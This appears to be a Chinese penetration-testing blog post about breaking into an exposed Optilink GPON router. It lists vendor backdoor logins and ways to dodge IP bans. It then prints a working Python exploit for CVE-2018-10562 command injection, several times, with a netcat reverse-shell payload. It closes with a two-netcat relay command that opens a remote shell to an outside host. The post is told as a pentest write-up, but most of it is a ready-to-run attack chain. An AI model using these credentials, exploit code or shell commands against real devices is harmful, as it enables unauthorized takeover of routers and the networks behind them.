前言
渗透测试一直是个看重经验的工作,有经验的一眼就能联想到很多漏洞,一顿操作,拿下服务器。没有经验的弟弟望着屏幕发呆,只能一步一步去积累,为以后的知识沉淀夯实基础。
这次就遇到了一个目标,差点只能盯着屏幕发呆了。
在某次渗透任务中,发现了一台对外开放的路由器。
他的Web界面长这样:
看到登陆框,弱口令,注入,命令执行,。。。一大堆可能存在的漏洞铺面而来。
这里老规矩,流量代理被动扫描一直开着的,当然并没有什么实质性的进展,所以只能手工了。
因为目标并不在云CDN,也没有Waf,更没有硬件防火墙。
所以像找真实IP,绕Waf这种麻烦的事情统统不要做。
开始
1.查历史漏洞
后门账号
先去谷歌搜索关键字,“Optilink 漏洞”
该文中叙述了,开发者为该类型设备留了开发者账号后门。
login: suma123 password: panger123 login: debug password: debug124 login: root password: root126 login: guest password: [empty]
命令执行
可惜的是,该漏洞是后台管理界面的,前提是进入后台。
2.尝试弱口令
经过尝试,都未能成功登陆。
且发现失败三次,界面就锁定1分钟。幸好不是ban咱们的ip,不然我的代理池可能不够用了。
一般ip被ban有几种解决方案:
- 家庭动态网络,重启路由器
- 手机热点网络,重启手机网络
- X-Forwarded-For伪造
- 更换代理,挂代理池
- 还有就是类似于白名单,比如阿里云的服务器攻击阿里云的服务器就不会被Ban
进入后台
当然了,上天总是眷顾帅气的人,随便试了一下,弱口令Get!
基本操作,发现登陆界面输入账号密码后有两种回显。
当用户名不存在时:
当用户名存在时:
输入用户: admin 密码 : optilink
成功登陆后台
执行命令
与此同时,我们发现这就是CVE-2018-10562漏洞利用(gpon router),找来了一份exp
def execute_command(command,TARGET): url = TARGET+"/boaform/admin/formLogin" # 创建session request1 = requests.session() login = {"username":"e8c","psd":"e8c"} # 发送登录数据 r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10) url1 = TARGET+"/boaform/admin/formPing" print('----------------',url1) # 发送远程命令的执行 command = "busybox" print(command) post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154" r1 = request1.post(url1,data=post_data, verify=False,timeout=10) print(r1.text.split("<pre>")[1].split("</pre>")[0]) if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_code
简单的修改了一下脚本利用。
import requests def execute_command(command,TARGET): url = TARGET+"/boaform/admin/formLogin" # 创建session request1 = requests.session() login = {"username":"admin","psd":"optilink"} # 发送登录数据 r = request1.post(url, data=login, verify=False,timeout=10) url1 = TARGET+"/boaform/admin/formPing" print('----------------',url1) # 发送远程命令的执行 # command = "busybox" # print(command) post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154" r1 = request1.post(url1,data=post_data, verify=False,timeout=10) print(r1.text.split("<pre>")[1].split("</pre>")[0]) if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_code if __name__ == "__main__": execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')
经过尝试,脚本确实能利用,但是却不能反弹shell。而且因为网络原因,一直报超时。
成功的截图:
深入尝试
我们在python脚本中加上proxy参数,每个请求带上代理,将攻击流量转发到burpsuite进行分析。
import requests proxy={'http': '127.0.0.1:8080'} def execute_command(command,TARGET): url = TARGET+"/boaform/admin/formLogin" # 创建session request1 = requests.session() login = {"username":"admin","psd":"optilink"} # 发送登录数据 r = request1.post(url, data=login, verify=False,timeout=10,proxies=proxy) url1 = TARGET+"/boaform/admin/formPing" print('----------------',url1) # 发送远程命令的执行 # command = "busybox" # print(command) post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154" r1 = request1.post(url1,data=post_data, verify=False,timeout=10,proxies=proxy) print(r1.text.split("<pre>")[1].split("</pre>")[0]) if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_code if __name__ == "__main__": execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')
经过查看,发现有3条请求。
- (请求1)用户名密码登陆
- (请求2)命令注入
- (请求3)读取回显命令
因为网络问题,且数据包请求回显的格式,用burp并不是那么舒服,这里我用Charles进行分析。
Charles抓包
设置代理端口8888:
浏览器设置同样的端口:
跟burpsuite一样都是需要安装证书的,这里就不赘述了。
在后台发现,有2处可以触发命令注入,分别为红框标记处。
点击钢笔按钮,修改请求
修改完成后,点击执行。
这里可以看到左边请求一直自动在刷新,浏览器也成功回显了结果。
这里Charles在表单修改后发包,会在请求包自动的加上url编码。
linux服务器可以连接。
但加上-e参数后却无法反弹shell。
在自己服务器开启两个NC进行监听端,其中一个作为输入,一个作为输出。
目标服务器执行:
nc xx.xx.xx.xx 1111 | /bin/bash | nc xx.xx.xx.xx 2222
事了拂衣去,深藏身与名。